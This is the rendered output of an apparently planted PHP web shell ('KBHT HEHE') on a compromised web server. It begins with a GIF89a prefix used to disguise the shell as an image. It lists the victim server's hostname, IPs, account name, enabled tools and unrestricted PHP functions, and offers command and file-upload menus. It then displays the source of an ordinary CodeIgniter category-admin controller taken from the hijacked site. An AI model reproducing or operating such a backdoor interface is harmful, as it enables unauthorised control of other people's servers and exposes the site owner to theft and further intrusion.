GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 3.147.36.106
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/../css/../jobs/application/logs/../controllers/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/../css/../jobs/application/logs/../controllers/admin/Category.php
<?php

/*
 * To change this license header, choose License Headers in Project Properties.
 * To change this template file, choose Tools | Templates
 * and open the template in the editor.
 */

/**
 * Description of Category
 *
 * @author Softpro India Pvt. Ltd
 */
class Category extends CI_Controller {

    //put your code here
    public function __construct() {
        parent::__construct();
        $this->load->model("admin/CategoryManagement");
    }

    public function index() {
        if ($this->sessionvalidator->validateSession()) {
            $viewData["categories"] = $this->CategoryManagement->getCategories()->result();
            $this->load->view("admin/categories", $viewData);
        } else {
            redirect("admin");
        }
    }

    public function createCategory() {
        if ($this->sessionvalidator->validateSession()) {
            $this->load->view("admin/createCategory");
        } else {
            redirect("admin");
        }
    }

    public function saveCategory() {
        if ($this->sessionvalidator->validateSession()) {
            $this->form_validation->set_rules("categoryName", "category name", "required", array("required" => "Enter Category Name."));
            $this->form_validation->set_rules("categoryShortName", "category short name", "required", array("required" => "Enter Category Short Name."));
            $this->form_validation->set_rules("description", "category description", "required", array("required" => "Enter Category Description."));

            if ($this->form_validation->run() == false) {
                $this->createCategory();
            } else {
                if (sizeof($this->CategoryManagement->getCategoryByName(addslashes(trim($this->input->post("categoryName"))))->result()) > 0) {
                    $this->session->set_flashdata("errorMessage", "Category Already With Same Name.");
                    $this->createCategory();
                } else {
                    $categoryData = array("cm_name" => addslashes(trim($this->input->post("categoryName"))), "cm_desc" => addslashes(trim($this->input->post("description"))), "cm_short_name" => addslashes(trim($this->input->post("categoryShortName"))), "cm_active_status" => "T", "cm_added_on" => date("Y-m-d H:i:s"), 'cm_updated_on' => date("Y-m-d H:i:s"));
                    if ($this->CategoryManagement->saveCategory($categoryData) > 0) {
                        $this->session->set_flashdata("successMessage", "Category Saved Successfully.");
                        $this->index();
                    } else {
                        $this->session->set_flashdata("errorMessage", "Failed To Save Category.");
                        $this->createCategory();
                    }
                }
            }
        } else {
            redirect("admin");
        }
    }

    public function editCategory($cm_id) {
        if ($this->sessionvalidator->validateSession()) {
            $viewData["category"] = $this->CategoryManagement->getCategoryByID($cm_id)->result()[0];
            $this->load->view("admin/editCategory", $viewData);
        } else {
            redirect("admin");
        }
    }

    public function updateCategory() {
        if ($this->sessionvalidator->validateSession()) {
            $this->form_validation->set_rules("categoryName", "category name", "required", array("required" => "Enter Category Name."));
            $this->form_validation->set_rules("categoryShortName", "category short name", "required", array("required" => "Enter Category Short Name."));
            $this->form_validation->set_rules("description", "category description", "required", array("required" => "Enter Category Description."));
            $cm_id = $this->input->post("cm_id");
            if ($this->form_validation->run() == false) {
                $this->editCategory($cm_id);
            } else {

                if (sizeof($this->CategoryManagement->getCategoryByName(addslashes(trim($this->input->post("categoryName"))), $cm_id)->result()) > 0) {
                    $this->session->set_flashdata("errorMessage", "Category '" . $this->input->post('categoryName') . "' Already Exist.");
                    $this->editCategory($cm_id);
                } else {
                    $categoryData = array("cm_name" => addslashes(trim($this->input->post("categoryName"))), "cm_desc" => addslashes(trim($this->input->post("description"))),"cm_short_name" => addslashes(trim($this->input->post("categoryShortName"))), "cm_updated_on" => date("Y-m-d H:i:s"));
                    if ($this->CategoryManagement->updateCategory($categoryData, $cm_id)) {
                        $this->session->set_flashdata("successMessage", "Category Updated Successfully.");
                        $this->index();
                    } else {
                        $this->session->set_flashdata("errorMessage", "Failed To Update Category.");
                        $this->editCategory($cm_id);
                    }
                }
            }
        } else {
            redirect("admin");
        }
    }

    public function toggleCategoryStatus($cm_id, $changedStatus) {
        if ($this->sessionvalidator->validateSession()) {
            $categoryData = array(
                'cm_active_status' => $changedStatus, 'cm_updated_on' => date("Y-m-d H:i:s")
            );
            if ($this->CategoryManagement->updateCategory($categoryData, $cm_id)) {
                $this->session->set_flashdata('successMessage', 'Category Status Updated Successfully.');
                redirect("admin/Category");
            } else {
                $this->session->set_flashdata('errorMessage', 'Failed To Update Category Status.');
                redirect("admin/Category");
            }
        } else {
            redirect("admin");
        }
    }

    public function toggleCategoryDeleteStatus($cm_id, $changedStatus) {
        if ($this->sessionvalidator->validateSession()) {
            $categoryData = array(
                'cm_delete_status' => $changedStatus, 'cm_updated_on' => date("Y-m-d H:i:s")
            );
            if ($this->CategoryManagement->updateCategory($categoryData, $cm_id)) {
                $this->session->set_flashdata('successMessage', 'Category Deleted Successfully.');
                redirect("admin/Category");
            } else {
                $this->session->set_flashdata('errorMessage', 'Failed To Delete Category.');
                redirect("admin/Category");
            }
        } else {
            redirect("admin");
        }
    }

}

KBHT - 2023